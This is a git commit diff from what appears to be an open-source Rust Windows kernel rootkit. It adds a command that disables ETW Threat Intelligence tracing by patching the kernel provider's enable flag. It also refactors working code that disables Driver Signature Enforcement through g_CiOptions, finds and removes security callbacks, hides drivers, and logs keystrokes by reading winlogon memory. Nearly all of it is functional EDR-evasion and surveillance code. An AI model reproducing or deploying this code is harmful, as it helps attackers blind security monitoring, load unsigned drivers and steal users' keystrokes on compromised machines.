feat: Refactor code to add ETWTI functionality and remove duplication, integrating scan_for_pattern for optimization

This commit is contained in:
joaoviictorti
2024-09-16 23:46:56 -03:00
parent 08d3bbf4e1
commit 890f288af4
23 changed files with 283 additions and 354 deletions

View File

@@ -266,6 +266,17 @@ pub enum MisCommands {
#[arg(long)] #[arg(long)]
start: bool, start: bool,
}, },
/// Operations related to ETWTI.
Etwti {
/// Disable ETWTI.
#[arg(long)]
disable: bool,
/// Enable ETWTI.
#[arg(long)]
enable: bool,
}
} }
/// Enum representing the subcommands for module operations. /// Enum representing the subcommands for module operations.

View File

@@ -9,17 +9,17 @@ use {
env_logger::Builder, env_logger::Builder,
}; };
use modules::{ use modules::{
misc::{dse, etwti, keylogger},
module::{enumerate_module, hide_module},
callback::{enumerate_callback, remove_callback, restore_callback}, callback::{enumerate_callback, remove_callback, restore_callback},
driver::{enumerate_driver, unhide_hide_driver}, driver::{enumerate_driver, unhide_hide_driver},
injection::{injection_apc, injection_thread}, injection::{injection_apc, injection_thread},
misc::{dse, keylogger}, thread::{enumerate_thread, hide_unhide_thread},
module::{enumerate_module, hide_module},
process::{ process::{
elevate_process, elevate_process,
enumerate_process, hide_unhide_process, enumerate_process, hide_unhide_process,
signature_process, terminate_process signature_process, terminate_process
}, },
thread::{enumerate_thread, hide_unhide_thread}
}; };
#[cfg(not(feature = "mapper"))] #[cfg(not(feature = "mapper"))]
@@ -163,6 +163,15 @@ fn main() {
keylogger(IOCTL_KEYLOGGER, false); keylogger(IOCTL_KEYLOGGER, false);
} }
}, },
MisCommands::Etwti { disable, enable } => {
if *enable {
info!("Enable ETWTI");
etwti(IOCTL_ETWTI, true);
} else if *disable {
info!("Disable ETWTI");
etwti(IOCTL_ETWTI, false);
}
},
}, },
#[cfg(not(feature = "mapper"))] #[cfg(not(feature = "mapper"))]

View File

@@ -1,7 +1,7 @@
use { use {
log::*, log::*,
crate::utils::open_driver, crate::utils::open_driver,
shared::structs::{Keylogger, DSE}, shared::structs::{Keylogger, DSE, ETWTI},
std::{ffi::c_void, mem::size_of, ptr::null_mut}, std::{ffi::c_void, mem::size_of, ptr::null_mut},
windows_sys::Win32::{ windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError}, Foundation::{CloseHandle, GetLastError},
@@ -47,9 +47,13 @@ pub fn dse(ioctl_code: u32, enable: bool) {
pub fn keylogger(ioctl_code: u32, state: bool) { pub fn keylogger(ioctl_code: u32, state: bool) {
let h_file = open_driver().expect("Failed open driver"); let h_file = open_driver().expect("Failed open driver");
let mut return_buffer = 0; let mut return_buffer = 0;
debug!("Preparing Keylogger structure for {}", if state { "start" } else { "stop" });
let mut keylogger = Keylogger { let mut keylogger = Keylogger {
enable: state enable: state
}; };
debug!("Sending DeviceIoControl command to {} Keylogger", if state { "start" } else { "stop" });
let status = unsafe { let status = unsafe {
DeviceIoControl( DeviceIoControl(
h_file, h_file,
@@ -74,3 +78,38 @@ pub fn keylogger(ioctl_code: u32, state: bool) {
CloseHandle(h_file); CloseHandle(h_file);
}; };
} }
pub fn etwti(ioctl_code: u32, enable: bool) {
let h_file = open_driver().expect("Failed open driver");
let mut return_buffer = 0;
debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" });
let mut etwti = ETWTI {
enable
};
debug!("Sending DeviceIoControl command to {} ETWTI", if enable { "enable" } else { "disable" });
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut etwti as *mut _ as *mut c_void,
std::mem::size_of::<ETWTI>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
info!("ETWTI {}", if enable { "enable" } else { "disable" })
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
};
}

1
driver/.gitignore vendored
View File

@@ -1,4 +1,3 @@
/target /target
/src/backup /src/backup
/src/misc/memory.rs /src/misc/memory.rs
/src/misc/etw.rs

View File

@@ -34,4 +34,7 @@ panic = "abort"
[features] [features]
mapper = [] mapper = []
[package.metadata.wdk] [package.metadata.wdk.driver-model]
driver-type = "KMDF"
kmdf-version-major = 1
target-kmdf-version-minor = 33

View File

@@ -1,8 +1,7 @@
use shared::vars::Callbacks;
use crate::{includes::structs::FULL_OBJECT_TYPE, utils};
use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType};
use obfstr::obfstr; use obfstr::obfstr;
use core::ptr::null_mut; use shared::vars::Callbacks;
use crate::{includes::structs::FULL_OBJECT_TYPE, utils::{self, patterns::scan_for_pattern}};
use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType};
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine. /// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
/// ///
@@ -13,47 +12,12 @@ unsafe fn find_ps_create_process() -> Option<*mut u8> {
let mut name = utils::uni::str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode(); let mut name = utils::uni::str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name); let function_address = MmGetSystemRoutineAddress(&mut name);
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x14);
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8) // e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
let instructions = [0xE8]; let instructions = [0xE8];
let psp_set_create_process = scan_for_pattern(function_address, &instructions, 1, 5, 0x14, i32::from_le_bytes)?;
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
let position = y + 1;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
let call_address = function_address.cast::<u8>().offset(y as isize);
// 4883c428 add rsp,28h
let next_address = call_address.cast::<u8>().offset(5);
let psp_set_create_process = next_address.offset(offset as isize);
let function_bytes = core::slice::from_raw_parts(psp_set_create_process, 0x98);
// 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)]
let instructions = [0x4C, 0x8D, 0x2D]; let instructions = [0x4C, 0x8D, 0x2D];
scan_for_pattern(psp_set_create_process as _, &instructions, 3, 7, 0x98, i32::from_le_bytes)
if let Some(x) = function_bytes.windows(instructions.len()).position(|y| y == instructions) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)]
let lea_address = psp_set_create_process.cast::<u8>().offset(x as isize);
// 488d0cdd00000000 lea rcx,[rbx*8]
let next_address = lea_address.offset(7);
let psp_set_create_process = next_address.offset(offset as isize);
return Some(psp_set_create_process)
}
}
None
} }
/// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine. /// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine.
@@ -65,28 +29,9 @@ unsafe fn find_ps_create_thread() -> Option<*mut u8> {
let mut name = utils::uni::str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode(); let mut name = utils::uni::str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name); let function_address = MmGetSystemRoutineAddress(&mut name);
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)] // 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
let instructions = [0x48, 0x8D, 0x0D]; let instructions = [0x48, 0x8D, 0x0D];
scan_for_pattern(function_address, &instructions, 3, 7, 0x50, i32::from_le_bytes)
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
let lea_address = function_address.cast::<u8>().offset(x as isize);
// 488d2cf9 lea rbp,[rcx+rdi*8]
let next_address = lea_address.offset(7);
let psp_set_create_thread = next_address.offset(offset as isize);
return Some(psp_set_create_thread);
}
None
} }
/// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine. /// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine.
@@ -98,28 +43,9 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> {
let mut name = utils::uni::str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode(); let mut name = utils::uni::str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name); let function_address = MmGetSystemRoutineAddress(&mut name);
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)] // 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
let instructions = [0x48, 0x8D, 0x0D]; let instructions = [0x48, 0x8D, 0x0D];
scan_for_pattern(function_address, &instructions, 3, 7, 0x50, i32::from_le_bytes)
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
let lea_address = function_address.cast::<u8>().offset(x as isize);
// 488d2cf9 lea rbp,[rcx+rdi*8]
let next_address = lea_address.offset(7);
let psp_load_image = next_address.offset(offset as isize);
return Some(psp_load_image);
}
None
} }
/// Finds the address of the `CmRegisterCallbackEx` routine. /// Finds the address of the `CmRegisterCallbackEx` routine.
@@ -130,99 +56,29 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> {
unsafe fn find_cm_register_callback() -> Option<(*mut u8, *mut u8, *mut u8)>{ unsafe fn find_cm_register_callback() -> Option<(*mut u8, *mut u8, *mut u8)>{
let mut name = utils::uni::str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode(); let mut name = utils::uni::str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name); let function_address = MmGetSystemRoutineAddress(&mut name);
let mut callback_list_header = null_mut();
let mut callback_count = null_mut();
let mut callback_list_lock = null_mut();
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
// e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff800`286e2b08) // e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff800`286e2b08)
let register_internal_pattern = [0xE8]; let register_internal_pattern = [0xE8];
let register_callback_internal = scan_for_pattern(function_address, &register_internal_pattern, 1, 5, 0x50, i32::from_le_bytes)?;
if let Some(x) = function_bytes.windows(register_internal_pattern.len()).position(|y| y == register_internal_pattern) {
let position = x + 1;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff803`210e2b08)
let call_address = function_address.cast::<u8>().offset(x as isize);
// 4883c438 add rsp,38h
let next_address = call_address.offset(5);
let register_callback_internal = next_address.offset(offset as isize);
let function_bytes = core::slice::from_raw_parts(register_callback_internal, 0x108);
// 488bcb mov rcx,rbx // 488bcb mov rcx,rbx
// e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c) // e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c)
let insert_pattern = [0x8B, 0xCB, 0xE8]; let insert_pattern: [u8; 3] = [0x8B, 0xCB, 0xE8];
let insert_call_address = scan_for_pattern(register_callback_internal as _, &insert_pattern, 3, 7, 0x108, i32::from_le_bytes)?;
if let Some(x) = function_bytes.windows(insert_pattern.len()).position(|y| y == insert_pattern) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c)
let call_insert_address = register_callback_internal.cast::<u8>().offset((x + 2) as isize);
// 488b4c2458 mov rcx,qword ptr [rsp+58h]
let next_address = call_insert_address.offset(5);
let insert_call_address = next_address.offset(offset as isize);
let function_bytes = core::slice::from_raw_parts(insert_call_address, 0x200);
// 488d0d7b585600 lea rcx,[nt!CmpCallbackListLock (fffff803`216484c0)] // 488d0d7b585600 lea rcx,[nt!CmpCallbackListLock (fffff803`216484c0)]
let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D]; let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D];
let callback_list_lock = scan_for_pattern(insert_call_address as _, &cmp_callback_list_lock_pattern, 3, 7, 0x200, i32::from_le_bytes)?;
// 4c8d3d78585600 lea r15,[nt!CallbackListHead (fffff803`216484d0)] // 4c8d3d78585600 lea r15,[nt!CallbackListHead (fffff803`216484d0)]
let callback_list_head_pattern = [0x4C, 0x8D, 0x3D]; let callback_list_head_pattern = [0x4C, 0x8D, 0x3D];
let callback_list_header = scan_for_pattern(insert_call_address as _, &callback_list_head_pattern, 3, 7, 0x200, i32::from_le_bytes)?;
// f0ff05fddd5600 lock inc dword ptr [nt!CmpCallBackCount (fffff803`21650abc)] // f0ff05fddd5600 lock inc dword ptr [nt!CmpCallBackCount (fffff803`21650abc)]
let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05]; let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05];
let callback_count = scan_for_pattern(insert_call_address as _, &cmp_callback_count_pattern, 3, 7, 0x200, i32::from_le_bytes)?;
if let Some(x) = function_bytes.windows(cmp_callback_list_lock_pattern.len()).position(|y| y == cmp_callback_list_lock_pattern) { Some((callback_list_header, callback_count, callback_list_lock))
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
let next_address = lea_address.offset(7);
callback_list_lock = next_address.offset(offset as isize);
};
if let Some(x) = function_bytes.windows(callback_list_head_pattern.len()).position(|y| y == callback_list_head_pattern) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
let next_address = lea_address.offset(7);
callback_list_header = next_address.offset(offset as isize);
};
if let Some(x) = function_bytes.windows(cmp_callback_count_pattern.len()).position(|y| y == cmp_callback_count_pattern) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
let next_address = lea_address.offset(7);
callback_count = next_address.offset(offset as isize);
};
}
if !callback_list_header.is_null() && !callback_count.is_null() && !callback_list_lock.is_null() {
return Some((callback_list_header, callback_count, callback_list_lock));
}
}
None
} }
/// Finds the address of the `ObRegisterCallbacks` routine. /// Finds the address of the `ObRegisterCallbacks` routine.
@@ -240,7 +96,7 @@ pub fn find_ob_register_callback(callback: &Callbacks) -> Option<*mut FULL_OBJEC
let object_type = unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }; let object_type = unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE };
Some(object_type) Some(object_type)
}, },
_ => return None _ => None
} }
} }

View File

@@ -1,21 +1,12 @@
use { use {
obfstr::obfstr, crate::utils::{address::{get_function_address, get_module_base_address}, patterns::scan_for_pattern, uni}, alloc::{boxed::Box, string::String, vec::Vec}, core::sync::atomic::{AtomicPtr, Ordering}, ntapi::ntldr::LDR_DATA_TABLE_ENTRY, obfstr::obfstr, shared::{
spin::{mutex::Mutex, lazy::Lazy},
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
core::sync::atomic::{AtomicPtr, Ordering},
alloc::{string::String, vec::Vec, boxed::Box},
crate::utils::{address::{get_function_address, get_module_base_address}, uni},
shared::{
structs::{ structs::{
DriverInfo, DSE, HiddenDriverInfo, LIST_ENTRY, DriverInfo, HiddenDriverInfo, TargetDriver, DSE, LIST_ENTRY
TargetDriver
}, },
vars::MAX_DRIVER vars::MAX_DRIVER
}, }, spin::{lazy::Lazy, mutex::Mutex}, wdk_sys::{
wdk_sys::{ ntddk::MmGetSystemRoutineAddress, NTSTATUS, STATUS_INVALID_PARAMETER, STATUS_SUCCESS, STATUS_UNSUCCESSFUL
ntddk::MmGetSystemRoutineAddress, STATUS_INVALID_PARAMETER, }
NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
},
}; };
pub mod ioctls; pub mod ioctls;
@@ -36,13 +27,11 @@ impl Driver {
/// ///
pub unsafe fn driver_toggle(driver: *mut TargetDriver) -> NTSTATUS { pub unsafe fn driver_toggle(driver: *mut TargetDriver) -> NTSTATUS {
let name = &(*driver).name; let name = &(*driver).name;
let status = if (*driver).enable { if (*driver).enable {
Self::hide_driver(name) Self::hide_driver(name)
} else { } else {
Self::unhide_driver(name) Self::unhide_driver(name)
}; }
status
} }
/// Hides the driver by unlinking it from the loaded module list. /// Hides the driver by unlinking it from the loaded module list.
@@ -110,10 +99,10 @@ impl Driver {
/// # Return /// # Return
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation. /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
/// ///
unsafe fn unhide_driver(driver_name: &String) -> NTSTATUS { unsafe fn unhide_driver(driver_name: &str) -> NTSTATUS {
let mut driver_info = DRIVER_INFO_HIDE.lock(); let mut driver_info = DRIVER_INFO_HIDE.lock();
if let Some(index) = driver_info.iter().position(|p| p.name == driver_name.as_str()) { if let Some(index) = driver_info.iter().position(|p| p.name == driver_name) {
let driver = &driver_info[index]; let driver = &driver_info[index];
let list_entry = driver.list_entry.load(Ordering::SeqCst); let list_entry = driver.list_entry.load(Ordering::SeqCst);
if list_entry.is_null() { if list_entry.is_null() {
@@ -198,43 +187,19 @@ impl Driver {
pub unsafe fn set_dse_state(info_dse: *mut DSE) -> Result<(), NTSTATUS> { pub unsafe fn set_dse_state(info_dse: *mut DSE) -> Result<(), NTSTATUS> {
let module_address = get_module_base_address(obfstr!("CI.dll")).ok_or(STATUS_UNSUCCESSFUL)?; let module_address = get_module_base_address(obfstr!("CI.dll")).ok_or(STATUS_UNSUCCESSFUL)?;
let function_address = get_function_address(obfstr!("CiInitialize"), module_address).ok_or(STATUS_UNSUCCESSFUL)?; let function_address = get_function_address(obfstr!("CiInitialize"), module_address).ok_or(STATUS_UNSUCCESSFUL)?;
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x89);
// mov ecx,ebp // mov ecx,ebp
let instructions = [0x8B, 0xCD]; let instructions = [0x8B, 0xCD];
let c_ip_initialize = scan_for_pattern(function_address, &instructions, 3, 7, 0x89, i32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
let position = y + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(u32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
let c_ip_initialize = new_base.cast::<u8>().offset(offset as isize);
// mov rbp,r9 // mov rbp,r9
let instructions = [0x49, 0x8b, 0xE9]; let instructions = [0x49, 0x8b, 0xE9];
let g_ci_options = scan_for_pattern(c_ip_initialize as _, &instructions, 5, 9, 0x21, i32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
let c_ip_initialize_slice = core::slice::from_raw_parts(c_ip_initialize as *const u8, 0x21);
if let Some(i) = c_ip_initialize_slice.windows(instructions.len()).position(|windows| *windows == instructions) {
let position = i + 5;
let offset = c_ip_initialize_slice[position..position + 4]
.try_into()
.map(u32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let new_offset = 0xffffffff00000000 + offset as u64;
let new_base = c_ip_initialize.cast::<u8>().offset((position + 4) as isize);
let g_ci_options = new_base.cast::<u8>().offset(new_offset as isize);
if (*info_dse).enable { if (*info_dse).enable {
*(g_ci_options as *mut u64) = 0x0006 as u64; *(g_ci_options as *mut u64) = 0x0006_u64;
} else { } else {
*(g_ci_options as *mut u64) = 0x000E as u64; *(g_ci_options as *mut u64) = 0x000E_u64;
}
}
} }
Ok(()) Ok(())

View File

@@ -227,7 +227,7 @@ pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
} }
let mut interval = LARGE_INTEGER { let mut interval = LARGE_INTEGER {
QuadPart: -1 * (50 * 10000 as i64), QuadPart: -1 * -(50 * 10000_i64),
}; };
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval); KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
@@ -292,7 +292,7 @@ pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS
} }
// Creating callbacks related to registry operations // Creating callbacks related to registry operations
let mut altitude = uni::str_to_unicode("31122.6172").to_unicode(); let mut altitude = uni::str_to_unicode("31422.6172").to_unicode();
status = CmRegisterCallbackEx( status = CmRegisterCallbackEx(
Some(registry_callback), Some(registry_callback),
&mut altitude, &mut altitude,

53
driver/src/misc/etwti.rs Normal file
View File

@@ -0,0 +1,53 @@
use {
obfstr::obfstr,
shared::structs::ETWTI,
crate::utils::{patterns::scan_for_pattern, uni},
wdk_sys::{
ntddk::MmGetSystemRoutineAddress,
NTSTATUS, STATUS_UNSUCCESSFUL
}
};
/// Represents ETW in the operating system.
pub struct Etw;
impl Etw {
/// Enables or disables ETW tracing by manipulating the `ETWTI` structure.
///
/// # Parameters
/// - `info`: A pointer to an `ETWTI` structure, which contains information on whether to enable or disable ETW tracing.
///
/// # Return
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
///
pub unsafe fn etwti_enable_disable(info: *mut ETWTI) -> Result<(), NTSTATUS> {
let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut function_name);
let pattern = [
0x33, 0xD2, // 33d2 xor edx,edx
0x48, 0x8B, 0x0D // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (fffff807`41c19918)]
];
let etwi_handle = scan_for_pattern(function_address, &pattern, 5, 9, 0x1000, u32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO;
(*trace_info).is_enabled = if (*info).enable {
0x01
} else {
0x00
};
Ok(())
}
}
#[repr(C)]
pub struct TRACE_ENABLE_INFO {
is_enabled: u32,
level: u8,
reserved1: u8,
loggerid: u16,
enable_property: u32,
reserved2: u32,
match_any_keyword: u64,
match_all_keyword: u64
}

View File

@@ -1,11 +1,11 @@
use { use {
super::keylogger::set_keylogger_state,
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
alloc::boxed::Box, alloc::boxed::Box,
hashbrown::HashMap, hashbrown::HashMap,
shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER}, shared::structs::{Keylogger, DSE, ETWTI},
structs::{Keylogger, DSE}}, super::keylogger::set_keylogger_state,
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
shared::ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER, IOCTL_ETWTI},
crate::{driver::Driver, handle_driver, misc::etwti::Etw, utils::ioctls::IoctlHandler},
}; };
pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) { pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
@@ -13,9 +13,7 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Responsible for enabling/disabling DSE. // Responsible for enabling/disabling DSE.
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENABLE_DSE"); log::info!("Received IOCTL_ENABLE_DSE");
let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) }; let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
unsafe { (*irp).IoStatus.Information = 0 }; unsafe { (*irp).IoStatus.Information = 0 };
match status { match status {
@@ -29,6 +27,19 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
log::info!("Received IOCTL_KEYLOGGER"); log::info!("Received IOCTL_KEYLOGGER");
let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) }; let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) };
unsafe { (*irp).IoStatus.Information = 0 }; unsafe { (*irp).IoStatus.Information = 0 };
status status
}) as IoctlHandler); }) as IoctlHandler);
// Responsible for enabling/disabling ETWTI.
ioctls.insert(IOCTL_ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ETWTI");
let status = unsafe { handle_driver!(stack, Etw::etwti_enable_disable, ETWTI) };
unsafe { (*irp).IoStatus.Information = 0 };
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler);
} }

View File

@@ -1,23 +1,23 @@
use { use {
crate::{
get_ks_byte, get_ks_down_bit,
is_key_down, set_key_down,
includes::MmCopyVirtualMemory, process::Process,
utils::{
address::{get_address_asynckey, get_module_base_address},
get_process_by_name, process_attach::ProcessAttach
}
},
core::{ffi::c_void, mem::size_of},
keys::VK_CHARS, keys::VK_CHARS,
obfstr::obfstr, obfstr::obfstr,
shared::structs::Keylogger, shared::structs::Keylogger,
core::{ffi::c_void, mem::size_of},
crate::{
get_ks_byte, get_ks_down_bit, includes::MmCopyVirtualMemory,
is_key_down, process::Process, set_key_down,
utils::{
address::{get_address_asynckey, get_module_base_address},
get_process_by_name, patterns::scan_for_pattern,
process_attach::ProcessAttach
}
},
wdk_sys::{ wdk_sys::{
ntddk::{ ntddk::{
IoGetCurrentProcess, KeDelayExecutionThread, IoGetCurrentProcess, KeDelayExecutionThread,
PsTerminateSystemThread, PsTerminateSystemThread,
}, },
LARGE_INTEGER, NTSTATUS, PVOID, STATUS_SUCCESS, _MODE::KernelMode, LARGE_INTEGER, NTSTATUS, STATUS_SUCCESS, _MODE::KernelMode,
} }
}; };
@@ -63,7 +63,7 @@ fn vk_to_char(key: u8) -> &'static str {
/// # Parameters /// # Parameters
/// - `address`: Array address `gafAsyncKeyState`. /// - `address`: Array address `gafAsyncKeyState`.
/// ///
unsafe fn update_key_state(address: *mut c_void) { unsafe fn update_key_state(address: *mut u8) {
core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64); core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64);
if !initialize_winlogon_process() { if !initialize_winlogon_process() {
@@ -74,7 +74,7 @@ unsafe fn update_key_state(address: *mut c_void) {
let mut return_number = 0; let mut return_number = 0;
MmCopyVirtualMemory( MmCopyVirtualMemory(
winlogon_eprocess.e_process, winlogon_eprocess.e_process,
address, address as _,
IoGetCurrentProcess(), IoGetCurrentProcess(),
KEY_STATE.as_ptr() as *mut c_void, KEY_STATE.as_ptr() as *mut c_void,
size_of::<[u8; 64]>() as u64, size_of::<[u8; 64]>() as u64,
@@ -151,7 +151,7 @@ pub unsafe extern "C" fn keylogger(_address: *mut c_void) {
} }
let mut interval = LARGE_INTEGER { let mut interval = LARGE_INTEGER {
QuadPart: -1 * (50 * 10000 as i64), QuadPart: -1 * -(50 * 10000_i64),
}; };
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval); KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
@@ -166,9 +166,9 @@ pub unsafe extern "C" fn keylogger(_address: *mut c_void) {
/// # Returns /// # Returns
/// `Option<PVOID>`: The address of the `gafAsyncKeyState` array if found, otherwise `None`. /// `Option<PVOID>`: The address of the `gafAsyncKeyState` array if found, otherwise `None`.
/// ///
unsafe fn get_gafasynckeystate_address() -> Option<PVOID> { unsafe fn get_gafasynckeystate_address() -> Option<*mut u8> {
if !initialize_winlogon_process() { if !initialize_winlogon_process() {
return None; return None
} }
let winlogon_eprocess = WINLOGON_EPROCESS.as_ref()?; let winlogon_eprocess = WINLOGON_EPROCESS.as_ref()?;
@@ -183,20 +183,7 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
// fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax // fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax
let instructions = [0x48, 0x8B, 0x05]; let instructions = [0x48, 0x8B, 0x05];
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) { scan_for_pattern(function_address, &instructions, 3, 7, 0x200, u32::from_le_bytes)
let position = y + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(u32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
